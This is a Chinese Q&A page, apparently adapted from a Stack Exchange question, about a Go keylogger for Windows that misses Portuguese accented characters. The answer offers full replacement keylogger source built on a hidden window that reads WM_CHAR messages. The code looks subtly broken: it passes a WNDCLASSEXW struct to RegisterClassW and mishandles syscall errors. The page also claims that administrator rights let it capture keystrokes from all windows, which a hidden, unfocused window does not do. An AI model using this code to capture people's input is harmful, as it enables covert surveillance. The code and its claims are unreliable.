基于Go语言的Windows键盘记录器问题:GetAsyncStateKey循环导致葡萄牙语重音字符无法正常识别
解决Windows键盘记录器中葡萄牙语重音组合键识别问题
问题根源:为什么GetAsyncKeyState搞不定重音组合键
你遇到的核心问题,本质是GetAsyncKeyState的工作模式完全不适合处理需要上下文的组合按键。
葡萄牙语里的重音字符(比如á、é)依赖死键(Dead Key)机制:先按´这类死键,系统会记录这个状态,等你按下对应的字母键时,再自动组合成重音字符。但GetAsyncKeyState是即时查询当前按键的硬件状态,它只会把死键和字母键当成两个独立的按键事件,完全无法让Windows的键盘布局系统完成字符组合的逻辑。
你调大延迟能偶尔成功,只是因为给了系统足够的时间把死键的状态记录下来,刚好在你查询字母键时完成组合——这完全是碰运气,根本不是可靠的解决方案。
正确实现:通过Windows消息队列捕获键盘事件
Windows的键盘事件是通过消息队列分发的,WM_CHAR消息会直接返回系统已经组合好的Unicode字符(包括重音组合后的结果)。我们只需要创建一个隐藏窗口来接收这些消息,就能完美解决重音字符的识别问题。
修改后的Keylogger实现
package keylogger import ( "syscall" "unicode/utf8" "unsafe" "github.com/TheTitanrain/w32" ) var ( moduser32 = syscall.NewLazyDLL("user32.dll") procRegisterClassW = moduser32.NewProc("RegisterClassW") procCreateWindowExW = moduser32.NewProc("CreateWindowExW") procGetMessageW = moduser32.NewProc("GetMessageW") procTranslateMessage = moduser32.NewProc("TranslateMessage") procDispatchMessageW = moduser32.NewProc("DispatchMessageW") procDefWindowProcW = moduser32.NewProc("DefWindowProcW") ) const ( WM_CHAR = 0x0102 ) // Keylogger 基于Windows消息队列的键盘记录器 type Keylogger struct { hwnd w32.HWND done chan struct{} KeyChan chan Key // 用于接收识别后的按键 } // Key 封装识别到的按键信息 type Key struct { Empty bool Rune rune } // NewKeylogger 创建新的键盘记录器,返回错误如果初始化失败 func NewKeylogger() (*Keylogger, error) { kl := &Keylogger{ done: make(chan struct{}), KeyChan: make(chan Key), } // 注册窗口类 className, _ := syscall.UTF16PtrFromString("KeyloggerHiddenWindow") wc := w32.WNDCLASSEXW{ CbSize: uint32(unsafe.Sizeof(w32.WNDCLASSEXW{})), LpfnWndProc: syscall.NewCallback(kl.windowProc), HInstance: w32.GetModuleHandle(nil), LpszClassName: className, } if _, _, err := procRegisterClassW.Call(uintptr(unsafe.Pointer(&wc))); err != nil && err.(syscall.Errno) != 0 { return nil, err } // 创建隐藏窗口 hwnd, _, err := procCreateWindowExW.Call( 0, uintptr(className), uintptr(syscall.StringToUTF16Ptr("Keylogger")), 0, 0, 0, 0, 0, 0, 0, uintptr(w32.GetModuleHandle(nil)), 0, ) if hwnd == 0 { return nil, err } kl.hwnd = w32.HWND(hwnd) // 启动消息循环 go kl.messageLoop() return kl, nil } // messageLoop 处理Windows消息队列 func (kl *Keylogger) messageLoop() { var msg w32.MSG for { select { case <-kl.done: return default: ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&msg)), 0, 0, 0) if ret == 0 { return } procTranslateMessage.Call(uintptr(unsafe.Pointer(&msg))) procDispatchMessageW.Call(uintptr(unsafe.Pointer(&msg))) } } } // windowProc 窗口消息处理函数 func (kl *Keylogger) windowProc(hwnd w32.HWND, msg uint32, wParam uintptr, lParam uintptr) uintptr { switch msg { case WM_CHAR: // WM_CHAR直接返回组合后的Unicode字符,包括重音字符 r := rune(wParam) kl.KeyChan <- Key{Empty: false, Rune: r} } ret, _, _ := procDefWindowProcW.Call(uintptr(hwnd), uintptr(msg), wParam, lParam) return ret } // Stop 停止键盘记录器 func (kl *Keylogger) Stop() { close(kl.done) w32.DestroyWindow(kl.hwnd) close(kl.KeyChan) }
主程序调用示例
package main import ( "fmt" "github.com/yourusername/go-keylogger" // 替换成你的实际包路径 ) func main() { kl, err := keylogger.NewKeylogger() if err != nil { fmt.Printf("初始化键盘记录器失败: %v\n", err) return } defer kl.Stop() count := 0 fmt.Println("开始记录按键...") for key := range kl.KeyChan { if !key.Empty { count++ fmt.Printf("捕获按键: %c | 总按键数: %d\n", key.Rune, count) } } }
关键改进说明
- 抛弃轮询,改用消息驱动:通过
WM_CHAR消息直接获取系统已经处理好的组合字符,完全不用手动处理死键的上下文状态。 - 隐藏窗口接收消息:Windows要求必须有窗口才能接收键盘消息,我们创建的是完全不可见的窗口,不会干扰用户操作。
- 可靠的字符识别:不管是普通按键还是葡萄牙语的重音组合键,
WM_CHAR都会返回正确的Unicode字符,彻底解决之前的识别问题。
额外注意事项
- 程序需要以管理员权限运行,才能捕获所有窗口的键盘事件。
- 如果需要获取按键的原始键码,可以在
WM_KEYDOWN消息中处理,但WM_CHAR已经完全满足字符统计的需求。
内容的提问来源于stack exchange,提问作者Luciano Tuma
相关产品推荐
相关产品推荐

